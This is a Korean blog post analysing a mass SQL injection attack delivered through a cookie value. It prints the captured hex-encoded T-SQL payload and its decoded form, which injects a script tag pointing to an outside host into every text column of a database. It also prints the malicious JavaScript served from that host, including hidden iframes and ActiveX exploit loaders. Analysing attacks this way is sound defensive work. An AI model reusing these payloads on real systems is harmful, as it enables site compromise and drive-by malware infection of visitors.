Cookie mass SQL Injection 공격 분석

by. 꾸자(http://gooja.tistory.com)

최근 mass SQL Injection 공격이 cookie 를 이용하는 방법으로 시도 되고 있다.
cookie 를 이용할 시 로그에 기록되지 않는다는 점을 악용하는 것 같다.

아래는 cookie 를 이용하여 mass SQL Injection 을 하는 예 이다.

```
POST /test.asp HTTP/1.0
Cookie:
03la'%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@S%3DCAST(0x4445434C4152452040542076617263686172283235352
92C4043207661726368617228323535292040445434C4
15245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E6
16D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732062207768657265726520612E69643
D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E7874797
0653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4
043205748494C45284040464554348 5F5354415455533D302920424547494E20657865632827757064617465205B27
2B40542B275D20736574205B272B40432B275D3D727472696D28636F6E76657274287661726368617228343030302
92C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F62617479752E636E3E3C2F73
63726970743E27272729464554434820 4E4558542046524F4D20205461626C655F437572736F7220494E544F204054
2C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154452054 61626C655F43757
2736F72%20AS%20VARCHAR(4000))%3Bexec%20(@S)%3B--
Content-Type: application/x-www-form-urlencoded
Host:www.xxxx.co.kr
Content-Length: 3
Expect: 100-continue
```

위의 mass SQL Injection 공격은 HAX 인코딩 된 것 이며 본 사이트에서 소개한 인코딩/디코딩 사이트에서 쉽게 디코딩 할수있다.
(0x44 부분부터 %20AS%20VARCHAR(4000))%3Bexec%20(@S)%3B-- 앞부분 까지가 인코딩 된부 분이다.)

```
03la';DECLARE @S VARCHAR(4000);SET @S=CAST
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects
a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN
Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar(4000),['+@C+']))+''<script src=http://pcca4.cn></script>'')FETCH NEXT FROM  Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
 AS VARCHAR(4000));exec (@S);--
```

디코딩 후 보면 원래 쿠키값으로 예상되는 03la 뒤에 ';를 입력 후 mass SQL Injection 구문이 들어가는것을 확인할 수 있다.

이 공격이 SQL 문이 실행 되면 모든 필드에 <script src=http://pcca4.cn></script> 가 삽입 되는 공격이 된다.
※ 위 사이트는 현제 ISP 에서 접속을 차단한 상태로 판단된다.

차단 전에 방문 하였을때

```
document.writeln(""); function y_gVal(iz) {var endstr=document.cookie.indexOf(";",iz);if(endstr==-1)
endstr=document.cookie.length;return document.cookie.substring(iz,endstr);} function y_g(name) {var arg=name+"=";var
alen=arg.length;var clen=document.cookie.length;var i=0;var
j;while(iyesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+";
path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}} var yesdata;
yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resol
ution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navig
ator.userAgent); document.write(''); var seraph; if (seraph==null) { seraph=1; document.write(""); }
```

를 페이지에 화면에 보여주고

```
{
seraph=1;
document.write("<iframe src=http://www.jmlrmg.com/index.htm width=100 height=0></iframe>");
}
```

이 부분은 보이지 않게 처리 되있어 또다시 http://www.jmlrmg.com/index.htm 를 방문하게 하였다.

http://www.jmlrmg.com/index.htm 사이트를 접속하면

```
<script>

document.write("<iframe width=100 height=0 src=flash.htm></iframe>");
window.status="Done";
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=20 height=0 src=14.htm></iframe>");
document.write("<iframe width=20 height=0 src=office.htm></iframe>");
try{var b;
var mz=new ActiveXObject("NCTAu"+"dioFile2.Audio"+"File2.2");}
catch(b){};
finally{if(b!="[object Error]"){document.write("<iframe width=100 height=0 src=nct.htm></iframe>");}}
function test()
{
rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Like = new ActiveXObject(rrooxx);
}catch(error){return;}
vvvvv = Like.PlayerProperty("PRODUCTVERSION");
if(vvvvv<="6.0.14.552")
document.write("<iframe width=100 height=0 src=re10.htm></iframe>");
else
document.write("<iframe width=100 height=0 src=re11.htm></iframe>");
}
test();
</script>
```

위 사이트는 여러 가지 취약점을 이용한 공격코드를 다운받아 실행 하도록 되있다.
아직 위 공격코드는 분석하지 않은 상태이다..^^;;

(예상으로는 다운받은 사이트 중 한 개라도 실행이 되면 좀비 컴퓨터가 되지 않을까 싶다.)

지금까지 분석한 내용을 써내려 왔는데 어디까지나 **주관적으로 분석한 것임으로 분석 내용이 확실하다고는 장담하지 못한다. 내용 중 틀린 부분은 언제든 알려주세요~**
또한 어디까지나 분석을 위한 자료이지 위 소스들을 이용하여 **다른 사이트를 공격한다면 그 책임은 전적으로 공격한 사람에게 책임**이 있습니다!!